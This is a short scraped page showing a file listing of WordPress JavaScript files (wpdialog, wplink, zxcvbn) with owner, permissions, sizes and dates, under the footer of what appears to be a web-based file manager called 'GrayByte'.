1032 / wheelch2
0644
wpdialog.js
0.556 KB
January 24 2023 21:13:12
1032 / wheelch2
0644
wpdialog.min.js
0.274 KB
January 24 2023 21:13:12
1032 / wheelch2
0644
wplink.js
20.742 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wplink.min.js
11.052 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
zxcvbn-async.js
0.802 KB
June 28 2018 02:30:15
1032 / wheelch2
0644
zxcvbn-async.min.js
0.343 KB
February 23 2021 16:45:19
1032 / wheelch2
0644
zxcvbn.min.js
802.966 KB
October 26 2019 00:17:07
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF